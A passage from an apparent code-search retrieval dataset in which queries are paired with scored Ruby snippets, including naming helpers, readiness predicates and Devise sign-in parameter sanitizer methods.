any_child_open?\n self.children.each do |e|\n return true unless e.completed\n end\n false\n end", "title": "" }, { "docid": "714509cdc5989078b91cbb6a8752b83e", "score": "0.5805848", "text": "def event_running?\n @battle_event.active?\n end", "title": "" }, { "docid": "de0aebc266791bfd7c15f74982518d24", "score": "0.5804283", "text": "def checkroom(r)\n case r.status\n when :plan\n # moot\n when :dig\n # designation cancelled: damp stone etc\n r.dig\n when :dug, :finished\n # cavein / tree\n r.dig\n # tantrumed furniture\n r.layout.each { |f|\n next if f[:ignore]\n t = df.map_tile_at(r.x1+f[:x].to_i, r.y1+f[:y].to_i, r.z1+f[:z].to_i)\n if (f[:bld_id] and not df.building_find(f[:bld_id]))\n df.add_announcement(\"AI: fix furniture #{f[:item]} in #{r.type} #{r.subtype}\", 7, false) { |ann| ann.pos = t }\n f.delete :bld_id\n @tasks << [:furnish, r, f]\n end\n if f[:construction]\n try_furnish_construction(r, f, t)\n end\n }\n # tantrumed building\n if r.misc[:bld_id] and not r.dfbuilding\n df.add_announcement(\"AI: rebuild #{r.type} #{r.subtype}\", 7, false) { |ann| ann.pos = r }\n r.misc.delete :bld_id\n construct_room(r)\n end\n end\n end", "title": "" }, { "docid": "915afd534424ee7cbf04582ca981835c", "score": "0.5803222", "text": "def ringready?\n output = riak_admin 'ringready'\n output =~ /^TRUE/ || $?.success?\n end", "title": "" }, { "docid": "b21e33623891cc4a405cf07dc322229d", "score": "0.579946", "text": "def ready?\n raise 'Not implemented!'\n end", "title": "" }, { "docid": "abab54f01c806d0f212211df72ab8f27", "score": "0.5792285", "text": "def ready_for_war?\n return true if (self.embassy && self.army)\n end", "title": "" }, { "docid": "6a5b04c3ca4b5f85c3abdc82b25c6496", "score": "0.5790369", "text": "def ready?\n self.result_payload(true).has_key?('finished_at')\n end", "title": "" }, { "docid": "8796d221022ce091b98b23f072285834", "score": "0.5787352", "text": "def water_empty?\n end", "title": "" }, { "docid": "ccdfcf704d78915407c1da1dd3787ddb", "score": "0.5780295", "text": "def ready?\n raise NotImplementedError\n end", "title": "" }, { "docid": "e4799b70ae9b892c5848b374b24a32e6", "score": "0.57736117", "text": "def occasion_ok?(item)\n SceneManager.scene_is?(Scene_Map) ? item.battle_ok? : item.menu_ok?\n end", "title": "" }, { "docid": "2809293cda97b9e041a98da5f3665154", "score": "0.577271", "text": "def complete?\n self.status == STATUS[:complete] \n #self.status == 1\n end", "title": "" }, { "docid": "01109ec196fa96c2dc65ccc7017bb4dd", "score": "0.57700586", "text": "def busy?\n (@enemy_sprites + @actor_sprites).any? do |sprite|\n sprite.busy?\n end\n end", "title": "" } ]
09a1606cf58aaaf253886732ac9b497e
Textilemarkedup name with id to make it unique, never nil.
[ { "docid": "634815f89f09088064133705df65d2ae", "score": "0.643186", "text": "def unique_format_name\n string_with_id(name.observation_name)\n rescue StandardError\n \"\"\n end", "title": "" } ]
[ { "docid": "31a78abcaabbe3c5f0b1d63b15ec4fc1", "score": "0.74921477", "text": "def unique_text_name\n real_text_name + \" (#{id || \"?\"})\"\n end", "title": "" }, { "docid": "342589b97c635f8fc68965970972d04d", "score": "0.7418108", "text": "def unique_text_name\n text_name + \" (#{id || \"?\"})\"\n end", "title": "" }, { "docid": "342589b97c635f8fc68965970972d04d", "score": "0.7418108", "text": "def unique_text_name\n text_name + \" (#{id || \"?\"})\"\n end", "title": "" }, { "docid": "60a357624f00086463bcea4738de6781", "score": "0.72876537", "text": "def unique_text_name\n string_with_id(text_name)\n end", "title": "" }, { "docid": "e0d515b35de5ac981daf101d7fd21c26", "score": "0.727417", "text": "def unique_text_name\n string_with_id(name.real_search_name)\n end", "title": "" }, { "docid": "d3645dece61d7a736d524bbf5707fec9", "score": "0.7037039", "text": "def unique_text_name\n title = all_subjects.map(&:text_name).uniq.sort.join(\" & \")\n if title.blank?\n :image.l + \" ##{id || \"?\"}\"\n else\n title + \" (#{id || \"?\"})\"\n end\n end", "title": "" }, { "docid": "d0c6760a7bc30f00e64409da7a4b2442", "score": "0.70076966", "text": "def unique_text_name\n if target\n target.unique_text_name\n else\n orphan_title.t.html_to_ascii\n end\n end", "title": "" }, { "docid": "d0c6760a7bc30f00e64409da7a4b2442", "score": "0.70076966", "text": "def unique_text_name\n if target\n target.unique_text_name\n else\n orphan_title.t.html_to_ascii\n end\n end", "title": "" }, { "docid": "aba006a0dc66d05d9d2283680ca93ef8", "score": "0.6830633", "text": "def unique_safe_name\n \"#{safe_name}_#{id}\"\n end", "title": "" }, { "docid": "8a7f4a23b78ea98e9d834856b1ea50ad", "score": "0.6759974", "text": "def unique_partial_text_name\n string_with_id(partial_text_name)\n end", "title": "" }, { "docid": "bfb36d5730ee3d7dd90db001b4905581", "score": "0.66166276", "text": "def unique_format_name\n title = all_subjects.map(&:format_name).uniq.sort.join(\" & \")\n if title.blank?\n :image.l + \" ##{id || \"?\"}\"\n else\n title + \" (#{id || \"?\"})\"\n end\n end", "title": "" }, { "docid": "c88cc32b9c773f43d80c1e4453a0cc67", "score": "0.6582732", "text": "def unique_format_name\n display_name + \" (#{id || \"?\"})\"\n end", "title": "" }, { "docid": "f63fb89fb58873c7d9c66aae239b1104", "score": "0.6576799", "text": "def unique_format_name\n title + \" (#{id || \"?\"})\"\n end", "title": "" }, { "docid": "3223ae45e1791005d774887b516e1366", "score": "0.6540469", "text": "def unique_name\n unique_name = @name\n unique_name += \" (#{@disambiguation})\" if @disambiguation\n return unique_name\n end", "title": "" }, { "docid": "f9215f1a832b6b5e6b27739916836777", "score": "0.64451236", "text": "def set_unique_name\n salt = rand 1000000\n salt2 = rand 100\n if self.title.blank?\n self.unique_name = \"#{salt}_#{salt2}\" \n else\n self.unique_name = \"#{self.title.gsub(/[^\\w\\.\\-]/,'_').downcase}_#{salt}\"\n end\n end", "title": "" }, { "docid": "edb896153a17c450407b8dee16ea83cb", "score": "0.64388865", "text": "def unique_name(name)\n \"pedant_#{name}_#{pedant_suffix}\"\n end", "title": "" }, { "docid": "86a21e01393eb4b5f3436ee6234904c6", "score": "0.6418019", "text": "def unique_tube_name(name)\n \"name.#{uuid}\"\n end", "title": "" }, { "docid": "1d4d966a88139293fe1713936e2a651f", "score": "0.6407651", "text": "def unique_name(id)\n id.to_s\n end", "title": "" }, { "docid": "a7032ee89e7babb29a5ea0bd33e21e3f", "score": "0.631343", "text": "def set_unique_name\n salt = rand 1000000\n salt2 = rand 100\n if self.title.blank?\n self.unique_name = \"#{salt}_#{salt2}\" \n else\n self.unique_name = \"#{sanitized_title.downcase}_#{salt}\"\n end\n end", "title": "" }, { "docid": "e878d4e2791bd5443423aed04f00a062", "score": "0.6201353", "text": "def unique_id\n \"name-#{@language_id}-#{@name_id}\"\n end", "title": "" }, { "docid": "49b8d211092f5534386d51f54987cd78", "score": "0.61797273", "text": "def generate_name(id)\n return GameData::Item[id].exact_name\n end", "title": "" }, { "docid": "d1626a96c56fe542ffbfb59d077bea9b", "score": "0.60918355", "text": "def unique_format_name\n format_name + \" (#{id || \"?\"})\"\n end", "title": "" }, { "docid": "dd52204ee78b69ff56904e257706e77b", "score": "0.60623974", "text": "def entire_name_with_id\r\n self.entire_full_name + \" (#{self.id})\"\r\n end", "title": "" }, { "docid": "dfee9527f10169169b7d82b17d0d7b0f", "score": "0.60544294", "text": "def unique_name\n \"#{project.name} / #{name}\"\n end", "title": "" }, { "docid": "093920891d0a4957c19ce67115838364", "score": "0.6054398", "text": "def unique_format_name\n if target\n if target.respond_to?(:unique_format_name)\n target.unique_format_name\n else\n target.format_name + \" (#{target_id || \"?\"})\"\n end\n else\n orphan_title\n end\n end", "title": "" }, { "docid": "093920891d0a4957c19ce67115838364", "score": "0.6054398", "text": "def unique_format_name\n if target\n if target.respond_to?(:unique_format_name)\n target.unique_format_name\n else\n target.format_name + \" (#{target_id || \"?\"})\"\n end\n else\n orphan_title\n end\n end", "title": "" }, { "docid": "724347dd45a1601638c9d3a6805c37a3", "score": "0.60268474", "text": "def id2name() end", "title": "" }, { "docid": "724347dd45a1601638c9d3a6805c37a3", "score": "0.60268474", "text": "def id2name() end", "title": "" }, { "docid": "498d4909016bc0eec90a51bebc0bdf2c", "score": "0.5997861", "text": "def unique_name(name)\n \"#{name}_#{Time.now.to_i}\"\n end", "title": "" }, { "docid": "498d4909016bc0eec90a51bebc0bdf2c", "score": "0.5997861", "text": "def unique_name(name)\n \"#{name}_#{Time.now.to_i}\"\n end", "title": "" }, { "docid": "82e829165ae7cb3724c71fccf97bf56c", "score": "0.59957516", "text": "def text_id\n \"#{name} (##{id})\"\n end", "title": "" }, { "docid": "9a623e62f764dca46c0d5e42a0e0fbbf", "score": "0.5968716", "text": "def name\n return '_untitled_' if self[:name].blank?\n self[:name]\n end", "title": "" }, { "docid": "97eadebfddeac154cde28eb859520a4f", "score": "0.59645176", "text": "def id\n name.gsub /-/, '_'\n end", "title": "" }, { "docid": "518840447eed52a9d30e79199ab334e4", "score": "0.5913368", "text": "def unique_name_for(item)\n item.to_s\n end", "title": "" }, { "docid": "8ec922909c5f8302d8a00d09d9d8de9e", "score": "0.5897318", "text": "def create_unique_filename( text_value, suffix = DateTime.now.strftime(\"_%Y%m%d_%H%M\") )\n text_value.gsub(/[òàèùçé\\^\\!\\\"\\'£\\$%&?\\.\\,;:§°<>]/,'').gsub(/[\\s|]/,'_').gsub(/[\\\\\\/=]/,'-') + suffix\n end", "title": "" }, { "docid": "9bfd44408452f8ab1683646f3d6ac713", "score": "0.58965576", "text": "def generate_name\n self.name ||= header ? header.parameterize : id\n end", "title": "" }, { "docid": "ddce4cf005ae695fb17996018939bebf", "score": "0.5878392", "text": "def create_html_id\n self.html_id = title.blank? ? \"element-unnamed\" : title.downcase.gsub!(/[^a-zA-Z0-9\\-_]+/, '-')\n end", "title": "" }, { "docid": "68d8344958ca3bc57dc1194d8419d67f", "score": "0.58764917", "text": "def unique_format_name\n string_with_id(format_name)\n end", "title": "" }, { "docid": "3e4c03451c6c264998f80a28172f557e", "score": "0.5850175", "text": "def unique_track_name(name)\n i = 2\n name_key = name\n while @tracks.has_key? name_key\n name_key = \"#{name}#{i.to_s}\"\n i += 1\n end\n \n return name_key\n end", "title": "" }, { "docid": "e8ddaeae5b9b878a88ce1f03e396e0ea", "score": "0.5848479", "text": "def create_munged_title\n self.munged_title = \"#{title.parameterize}-#{rand(36**3).to_s(36)}\"\n end", "title": "" }, { "docid": "e8ddaeae5b9b878a88ce1f03e396e0ea", "score": "0.5848479", "text": "def create_munged_title\n self.munged_title = \"#{title.parameterize}-#{rand(36**3).to_s(36)}\"\n end", "title": "" }, { "docid": "7c0ee8a5cbe3703ceaa7a8ba71257676", "score": "0.5845836", "text": "def name_as_id\n self.name.downcase.gsub(/\\s/, '-')\n end", "title": "" }, { "docid": "272b7d6d0db20174e88d5fea1a996a83", "score": "0.58395696", "text": "def generate_name\n self.name = \"#{album.name}-#{self.image_file_file_name}\"\n end", "title": "" }, { "docid": "d75c39623314644808e1d90ca5ee38f1", "score": "0.58343625", "text": "def md_name\n return \"Unknown, Unknown\" unless name\n return @_md_name if @_md_name\n @_md_name = name.gsub(/`/, \"'\")\n end", "title": "" }, { "docid": "5c08729fa58133b83eaa970fb4f9f996", "score": "0.5790864", "text": "def tag_name_uniqued(tag, options = {})\n if (options[:duplicate_names])\n duplicate_names = options[:duplicate_names]\n else\n duplicate_names = {}\n end\n\n if ((tag.user_id != current_user.id) && duplicate_names.include?(tag.name))\n return(h(tag.name) + '<span class=\"tag_name_uniqued\">:' + User.find_by_id(tag.user_id).login) + \"</span>\"\n else\n return(tag.name)\n end\n\n # (User.find_by_login(\"lelan\").tag_subscriptions.collect() { |a| Tag.find_by_id(a.tag_id) } + User.find_by_login(\"lelan\").tags).collect() { |a| a.name == \"maps\" ? a : nil }.compact\n end", "title": "" }, { "docid": "221e2431cda6e0414161f9fd4e88ace5", "score": "0.57862705", "text": "def display_name\n if original_name.nil?\n id\n else\n original_name.text.nil? ? id: original_name.text\n end\n end", "title": "" }, { "docid": "77ec29d858c4c0d9483b1b133b7c3fde", "score": "0.5786147", "text": "def generate_file_name\n file_name = attachment.instance_read(:file_name).slugged_filename\n attachment.instance_write :file_name, file_name\n end", "title": "" }, { "docid": "66201eaf353b95a06ff4b589867432cd", "score": "0.5743484", "text": "def text_name\n put_together_name(:full).t.html_to_ascii\n end", "title": "" }, { "docid": "2fb9dca255101950affffc03f9ebedbc", "score": "0.57422674", "text": "def unique_track_name(name)\n i = 2\n name_key = name\n while @tracks.has_key? name_key\n name_key = \"#{name}#{i.to_s}\"\n i += 1\n end\n\n name_key\n end", "title": "" }, { "docid": "b022e39a9f02f8392526f817c04d9032", "score": "0.5738512", "text": "def name\n @name ? @name.to_s : unique_id\n end", "title": "" }, { "docid": "e353de41f26aa03edb2cb81bcf71e303", "score": "0.5734108", "text": "def text_name\n if target\n if target.respond_to?(:real_text_name)\n target.real_text_name\n else\n target.text_name\n end\n else\n orphan_title.t.html_to_ascii.sub(/ (\\d+)$/, \"\")\n end\n end", "title": "" }, { "docid": "e353de41f26aa03edb2cb81bcf71e303", "score": "0.5733906", "text": "def text_name\n if target\n if target.respond_to?(:real_text_name)\n target.real_text_name\n else\n target.text_name\n end\n else\n orphan_title.t.html_to_ascii.sub(/ (\\d+)$/, \"\")\n end\n end", "title": "" }, { "docid": "ad937820cb50c5fc04f4d939d6cd468f", "score": "0.5716616", "text": "def generate_mention_key\n if !mention_key.present? && first_name.present?\n _mention_key = \"#{first_name} #{last_name}\".tr(' ', '-').downcase\n counter = 0\n while User.find_by_mention_key(_mention_key).present?\n _mention_key = \"#{first_name} #{last_name} #{counter += 1}\".tr(' ', '-').downcase\n end\n update_column(:mention_key, _mention_key)\n end\n end", "title": "" }, { "docid": "8487e866593f2e19806357093e34e5f8", "score": "0.57158667", "text": "def external_name\n @external_name ||= \"#{normalized_affixe_from_titre}.tex\"\n end", "title": "" }, { "docid": "4c89e99df6166e0390510aec791e904b", "score": "0.5713018", "text": "def id\n name && name.gsub(' ', '').downcase\n end", "title": "" }, { "docid": "4d80a258d2fb7cd098549c5a9feb1d86", "score": "0.570339", "text": "def next_uniq_child_name(item)\n taken_names = contents_names(item).map(&:downcase)\n name_generator = FileName.new(item.name, path: :relative, add: :always,\n format: '(%d)', delimiter: ' ')\n new_name = item.name\n new_name = name_generator.create while taken_names.include?(new_name.downcase)\n new_name\n end", "title": "" }, { "docid": "cc87eb77e50ebd6300c0464c48c10001", "score": "0.5698007", "text": "def unmiga_name\n gsub(/_(str|sp|subsp|pv)__/,\"_\\\\1._\").tr('_', ' ')\n end", "title": "" }, { "docid": "57c637e76ae9adcaa9eba1a09fc6bf62", "score": "0.56881607", "text": "def unique_partial_format_name\n string_with_id(partial_format_name)\n end", "title": "" }, { "docid": "8d6f0a69c1aa5fb1f22009e0bc7f857f", "score": "0.5687878", "text": "def unique_file_name file_name\n count = 0\n name = file_name\n current_user = User.find(self.user_id)\n while Userfile.find_all_accessible_by_user(current_user).exists?(:name => name)\n count += 1\n extname = File.extname(name)\n name = \"#{File.basename(name,extname)}-#{count}#{extname}\"\n end\n return name\n end", "title": "" }, { "docid": "41fbe592d948a940e12c376703e04b4f", "score": "0.56779695", "text": "def identifier\n name.gsub(/[^A-Za-z0-9_]/, '_')\n end", "title": "" }, { "docid": "41fbe592d948a940e12c376703e04b4f", "score": "0.56779695", "text": "def identifier\n name.gsub(/[^A-Za-z0-9_]/, '_')\n end", "title": "" }, { "docid": "a8653f74b538a6ab27daf2bb44479b3a", "score": "0.56659347", "text": "def unique_identifier\n Digest::MD5.hexdigest(@name.to_s)[0..9]\n end", "title": "" }, { "docid": "b9870d91d149a8146c9db16f69554eb0", "score": "0.56545657", "text": "def unique_object_name_for(name)\n \"#{name}_#{SecureRandom.hex(5)}\"\n end", "title": "" }, { "docid": "ec98ad3c01298d4a0ac326cad63286b9", "score": "0.56362456", "text": "def auto_id\n fauto_id = @form.auto_id\n fauto_id ? fauto_id % @html_name : ''\n end", "title": "" }, { "docid": "ef6f0794d6ae40812bcbc054c6afd5ac", "score": "0.5620842", "text": "def name\n return text_get(0, id)\n end", "title": "" }, { "docid": "ff0d118a72b3d5beb635c879cd908460", "score": "0.56161904", "text": "def name\n @name ||= parse_name(id.name)\n end", "title": "" }, { "docid": "97791115a26a05c70c7d55b5e0c6c069", "score": "0.56054443", "text": "def set_name_as_untitled\n if name.blank?\n untitled_count = attachable ? attachable.photo_albums.untitled.size : self.class.without_attachable.untitled.size\n self.name = \"#{UNTITLED_NAME} #{untitled_count + 1}\"\n end\n true\n end", "title": "" }, { "docid": "59d9a236d45e7c2fe5e3c9ef2a8f86e5", "score": "0.559972", "text": "def make_unique_id(item)\n return item['id'] if item['id']\n\n unique_id = \"\"\n unique_id << item.title if item.title\n\n if summary = item.summary\n if summary.length < 200\n unique_id << summary\n else\n first_100 = summary[0,100]\n unique_id << first_100 unless first_100.nil?\n n = [100,summary.length].min\n last_100 = summary[-n..-1]\n unique_id << last_100 unless last_100.nil?\n end\n end\n\n Digest::SHA1.hexdigest(unique_id)\n end", "title": "" }, { "docid": "8718e6f08044e2e27d035e3729cbbc01", "score": "0.55970955", "text": "def id_for(_name, _id=nil)\n n = \"#{@object_name}_#{_name}\"\n n += \"_#{_id}\" if _id\n end", "title": "" }, { "docid": "c1a8bd6a1fa93b4bd3a8904b3b02edb8", "score": "0.55949336", "text": "def gen_name\n\t\tlast_id = Bill.last ? Bill.last.id + 1 : 1\n\t\t\"#{last_id}-1-1\"\n\tend", "title": "" }, { "docid": "80fc8c177464dffe9c5f2c42507b3492", "score": "0.5586552", "text": "def generate_identifier\n self.identifier ||= self.name.parameterize.underscore\n end", "title": "" }, { "docid": "085933022d612357fdabd5e2d1946de5", "score": "0.5582193", "text": "def set_name\n self.update(name: \"Large Washer ##{self.id}\") unless self.name\n end", "title": "" }, { "docid": "059e7d1aad4647c226a0a94dca50c6b8", "score": "0.55773205", "text": "def _unique_name\n string = aliases.split(\",\").sort_by{|x| x.downcase}.join(\", \")\n Digest::SHA1.hexdigest string\n end", "title": "" }, { "docid": "0c15873c3277d76428982d892d2f77e4", "score": "0.55665165", "text": "def set_name\n self.update(name: \"Medium Washer ##{self.id}\") unless self.name\n end", "title": "" }, { "docid": "adf210709d392491452f46360d620ef0", "score": "0.5562743", "text": "def auto_generate_username(t = nil)\n\t t ||= Time.now\n\t return \"gi\" + t.strftime(\"%Y%m%d_%H%M%S\")\n end", "title": "" }, { "docid": "56b0aa6a0351817406aeb839f88e2cd3", "score": "0.5552878", "text": "def idify_property_name(name)\n path = replace_indexes(name).join('_')\n draft = !draft_id.nil?\n output = \"#{schema_type}#{'_draft_draft' if draft}_#{underscore_fix_for_related_urls(path)}\"\n output\n end", "title": "" }, { "docid": "90eb5f58b9743ec8b12e0c571942b767", "score": "0.55519986", "text": "def short_identify\n \"# #{self.id}\"\n end", "title": "" }, { "docid": "628edd4bbf915581e7ab3869f17e7e44", "score": "0.55510646", "text": "def uid\n @name.to_s.downcase.gsub(/[^a-z0-9]+/, '').gsub(/-+$/, '').gsub(/^-+$/, '')\n end", "title": "" }, { "docid": "628edd4bbf915581e7ab3869f17e7e44", "score": "0.55510646", "text": "def uid\n @name.to_s.downcase.gsub(/[^a-z0-9]+/, '').gsub(/-+$/, '').gsub(/^-+$/, '')\n end", "title": "" }, { "docid": "430d8ff5e006282399090d4284e6bc12", "score": "0.5538634", "text": "def get_entity_unique_name( name, parent_context = nil )\n \"#{ parent_context ? \"#{parent_context.id}-#{parent_context.name}\" : '' }-#{ name.to_s }\"\n end", "title": "" }, { "docid": "2ace6c187e60ee116de06277912e9358", "score": "0.5525301", "text": "def slug_name\n\t\t\"#{rand(36**5).to_s(36)}-#{name}\"\n\tend", "title": "" }, { "docid": "de1163dbcf73373d57c368257921ce03", "score": "0.5521683", "text": "def name_for(_name, _id=nil)\n n = \"#{@object_name}[#{_name}]\"\n n += \"[#{_id}]\" if _id\n end", "title": "" }, { "docid": "caa48b707adea47c5508d63d4dbe30fb", "score": "0.55213124", "text": "def key_file_name\n self.email.tr('^A-Za-z', '')[0..10] + self.id.to_s\n end", "title": "" }, { "docid": "284960851d2e38613a06aea59b04db8f", "score": "0.5518557", "text": "def unique_tag\n\n\t\t##collect transforms given array into the new array abbr\n\t\tabbr = self.author.split(\" \").collect do |sub_string|\n\t\t\tsub_string[0] #puts first letter of each substring into intials array\n\t\tend\n\n\t\treturn abbr.join + '#' + self.id.to_s ##join concatenates an array into a string\n\tend", "title": "" }, { "docid": "efca025a263b069619e582cb8fe79022", "score": "0.55122447", "text": "def jmaki_generate_uuid(name)\n if (@jmaki_uuid == nil)\n @jmaki_uuid = 0\n end\n @jmaki_uuid = @jmaki_uuid + 1\n return name.tr('.', '_') + \"_\" + @jmaki_uuid.to_s;\n end", "title": "" }, { "docid": "3f266d45c87810c20b77cf8ee0069498", "score": "0.5498011", "text": "def format_name\n if target\n target.format_name\n else\n orphan_title.sub(/ (\\d+)$/, \"\")\n end\n end", "title": "" }, { "docid": "3f266d45c87810c20b77cf8ee0069498", "score": "0.5496141", "text": "def format_name\n if target\n target.format_name\n else\n orphan_title.sub(/ (\\d+)$/, \"\")\n end\n end", "title": "" }, { "docid": "505811193c62347224ad601655737313", "score": "0.5494836", "text": "def wikified_name\n self.name.slice(0,1).capitalize + self.name.slice(1..-1).gsub(/ /, '_')\n end", "title": "" }, { "docid": "5f4ed07113653f810aa2deb19de83edd", "score": "0.5490804", "text": "def generate_name\n @seed ||= 0\n @seed += 1\n \"_anon_#{@seed}\"\n end", "title": "" }, { "docid": "376f21604a2439b33914779770d9c76e", "score": "0.5490239", "text": "def create_unique_name_from_email\n return unless name.blank?\n self.name = email.to_s.split(\"@\").first&.gsub('.', '-')\n last_user = User.where(\"name LIKE ?\", \"#{name}%\").order(:name).last\n if last_user\n number = 2\n last_part = last_user.name.split('-').last\n number = last_part.to_i + 1 if last_part && last_part.to_i.to_s == last_part\n self.name = \"#{name}-#{number}\"\n end\n end", "title": "" }, { "docid": "9b132965252ffc5467649cab89fb99ed", "score": "0.5482937", "text": "def nice_name\n name.gsub(/\\..+/, '').wikify\n end", "title": "" }, { "docid": "c85e5e7d42a45ad5d0dd5a52919986b8", "score": "0.5475865", "text": "def file_name\n\t\treturn 'st' + student_id.to_s + 'pr' + problem_id.to_s + 'so' + id.to_s\n\tend", "title": "" }, { "docid": "fc2705bc4648bc69548e665dbcf38143", "score": "0.54750246", "text": "def make_id_to_name\n build_hash('id', 'name')\n end", "title": "" }, { "docid": "8b838e02de8257d71fb693ee158cd056", "score": "0.5470217", "text": "def generate_filename(title)\n \"#{formatted_current_timestamp}-#{slug_for(title)}.md\"\nend", "title": "" }, { "docid": "758dae32299d45ccae37369a327af27e", "score": "0.54597145", "text": "def id\n name.gsub(':', '-')\n end", "title": "" }, { "docid": "4c2f676465348c249ca0cc7212de9bc5", "score": "0.54575974", "text": "def id\n super.to_s.tr('.', '_')\n end", "title": "" }, { "docid": "1f508383c6540fea645e095c9ca220c0", "score": "0.54566336", "text": "def id_to_name!\n @id_to_name = make_id_to_name\n self\n end", "title": "" }, { "docid": "9341cd4100434cce42de2055dbcfd5bd", "score": "0.5455178", "text": "def unique_name(name)\n if @commands_by_name.include?(name)\n count = 2\n name2 = nil\n while (name2 = name + count.to_s) && @commands_by_name.include?(name2)\n count += 1\n end\n name2\n else\n name\n end\n end", "title": "" }, { "docid": "0e56040dfec54299628ac7ef3ca0566a", "score": "0.54529375", "text": "def id_to_name\n @id_to_name ||= build_hash('id', 'name')\n end", "title": "" }, { "docid": "711754c7417c6a826d4428f31bb3b008", "score": "0.5452028", "text": "def new_name; end", "title": "" } ]
5aeffec002430480d2476beaaa1037f6
GET /resource/sign_in def new super end POST /resource/sign_in def create super end DELETE /resource/sign_out def destroy super end protected If you have extra params to permit, append them to the sanitizer. def configure_sign_in_params devise_parameter_sanitizer.permit(:sign_in, keys: [:attribute]) end
[ { "docid": "c614f6f9420d402ac8330b33f725579d", "score": "0.0", "text": "def after_sign_in_path_for(_resource)\n user_path(current_user.id)\n end", "title": "" } ]
[ { "docid": "953e5adea2be5a7d43a6eedaf8651bfb", "score": "0.807105", "text": "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:attribute])\n end", "title": "" }, { "docid": "2be6e5bcf0ca580f98780259f32ed454", "score": "0.8060394", "text": "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:attribute])\n end", "title": "" }, { "docid": "2be6e5bcf0ca580f98780259f32ed454", "score": "0.8059458", "text": "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:attribute])\n end", "title": "" }, { "docid": "2be6e5bcf0ca580f98780259f32ed454", "score": "0.8059009", "text": "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:attribute])\n end", "title": "" }, { "docid": "2be6e5bcf0ca580f98780259f32ed454", "score": "0.8059009", "text": "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:attribute])\n end", "title": "" }, { "docid": "2be6e5bcf0ca580f98780259f32ed454", "score": "0.8059009", "text": "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:attribute])\n end", "title": "" }, { "docid": "2be6e5bcf0ca580f98780259f32ed454", "score": "0.8059009", "text": "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:attribute])\n end", "title": "" }, { "docid": "2be6e5bcf0ca580f98780259f32ed454", "score": "0.8059009", "text": "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:attribute])\n end", "title": "" }, { "docid": "2be6e5bcf0ca580f98780259f32ed454", "score": "0.8059009", "text": "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:attribute])\n end", "title": "" }, { "docid": "2be6e5bcf0ca580f98780259f32ed454", "score": "0.8059009", "text": "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:attribute])\n end", "title": "" }, { "docid": "2be6e5bcf0ca580f98780259f32ed454", "score": "0.8059009", "text": "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:attribute])\n end", "title": "" }, { "docid": "2be6e5bcf0ca580f98780259f32ed454", "score": "0.8059009", "text": "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:attribute])\n end", "title": "" }, { "docid": "73acb4ca05b168cee1618a455d405fad", "score": "0.80556446", "text": "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:attribute])\n end", "title": "" }, { "docid": "9d5b4042475870998340c35a837e5743", "score": "0.80210817", "text": "def configure_sign_in_params\n # devise_parameter_sanitizer.for(:sign_in) << :attribute\n devise_parameter_sanitizer.permit(:sign_in, keys: [:user, :password])\n end", "title": "" }, { "docid": "8846e71eb76da6faab9b336cbc6aaa64", "score": "0.7978985", "text": "def resource_params\n params.permit(devise_parameter_sanitizer.for(:sign_in))\n end", "title": "" }, { "docid": "a70d2bcb0ce8dbe00475291672930bcf", "score": "0.7960681", "text": "def configure_sign_in_params\n # devise_parameter_sanitizer.permit(:sign_in, keys: [:attribute])\n devise_parameter_sanitizer.permit(:sign_in) do |params|\n params.permit(:username, :password, :password_confirmation)\n end\n end", "title": "" }, { "docid": "e1deb9f44df8dce9f860ac73d5ff6eea", "score": "0.7942522", "text": "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:email, :password])\n end", "title": "" }, { "docid": "e72d822806c46d9d11254ddf1153f22b", "score": "0.7886601", "text": "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in)\n end", "title": "" }, { "docid": "65826b156f6147926574fcc82d472f50", "score": "0.78762174", "text": "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:email, :password])\n end", "title": "" }, { "docid": "65826b156f6147926574fcc82d472f50", "score": "0.78762174", "text": "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:email, :password])\n end", "title": "" }, { "docid": "fde0ec572b0bfe43501a2b0e1d6ce1d1", "score": "0.778498", "text": "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: authentication_params(type: :sign_in))\n end", "title": "" }, { "docid": "1ae8b3e07c546ca3d587aed80fde5a58", "score": "0.7723114", "text": "def configure_sign_in_params\n devise_parameter_sanitizer.for(:sign_in) { |u| u.permit(:email, :password) }\n end", "title": "" }, { "docid": "7b231625e1f23ca9a71bc3451d3238b6", "score": "0.7722425", "text": "def configure_sign_in_params\n devise_parameter_sanitizer.for(:sign_in)# << :attribute\n end", "title": "" }, { "docid": "89bd49b0fac4078137eb0f050e9a8a63", "score": "0.7705332", "text": "def configure_sign_in_params\n devise_parameter_sanitizer.for(:sign_in) << :attribute\n end", "title": "" }, { "docid": "6dbede1055184a5d34eabd7ff1c95de3", "score": "0.77003103", "text": "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [])\n end", "title": "" }, { "docid": "5ec24c17ceac0e78c083f5612b71109f", "score": "0.7645204", "text": "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in) do |user_params|\n user_params.permit(:username, :email)\n end\n end", "title": "" }, { "docid": "ed02562cbcd98b565a0456e7d27637ee", "score": "0.7606795", "text": "def configure_sign_in_params\n devise_parameter_sanitizer.permit(:sign_in, keys: [:email,:password,:remember_me])\n end", "title": "" }, { "docid": "af8218eb55083f509ff99e413990b889", "score": "0.75642395", "text": "def configure_sign_in_params\n devise_parameter_sanitizer.for(:sign_in).push(:username, :login, :domain)\n end", "title": "" }, { "docid": "843cd3d0c46b85b63db5495b79ba2d09", "score": "0.7529927", "text": "def configure_sign_in_params\n 